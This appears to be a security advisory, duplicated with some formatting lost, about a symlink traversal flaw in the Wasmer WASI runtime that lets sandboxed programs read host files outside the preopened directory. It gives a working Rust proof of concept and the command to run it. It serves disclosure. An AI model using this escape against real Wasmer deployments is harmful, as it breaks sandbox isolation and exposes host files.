Summary
If the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both oflags::creat and rights::fd_write. Programs can also crash the runtime by creating a symlink pointing outside with path_symlink and path_opening the link.
Details
PoC
Setup a filesystem as follows.
.
├── outside.file
└── preopen
└── dir
└── file -> ../../outside.file
Compile this Rust snippet with wasi v0.11 (for the preview1 API).
fn main() {
unsafe {
let filefd = wasi::path_open(
5,
wasi::LOOKUPFLAGS_SYMLINK_FOLLOW,
"app/dir/file",
wasi::OFLAGS_CREAT,
wasi::RIGHTS_FD_READ | wasi::RIGHTS_FD_WRITE,
0,
0,
)
.unwrap();
eprintln!("filefd: {filefd}");
let mut buf = [0u8; 10];
let iovs = [wasi::Iovec {
buf: buf.as_mut_ptr(),
buf_len: buf.len(),
}];
let read = wasi::fd_read(filefd, &iovs).unwrap();
eprintln!("read {read}: {}", String::from_utf8_lossy(&buf));
}
}
Run the compiled binary with Wasmer preopening preopen/:
wasmer run --mapdir /app:preopen a.wasm
This should not print the contents of the outside.file. Other runtimes like Wasmtime can successfully block this call. But Wasmer prints the contents of the file.
Summary
If the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both
oflags::creatandrights::fd_write. Programs can also crash the runtime by creating a symlink pointing outside withpath_symlinkandpath_opening the link.Details
PoC
Setup a filesystem as follows.
Compile this Rust snippet with
wasiv0.11 (for the preview1 API).Run the compiled binary with Wasmer preopening
preopen/:This should not print the contents of the
outside.file. Other runtimes like Wasmtime can successfully block this call. But Wasmer prints the contents of the file.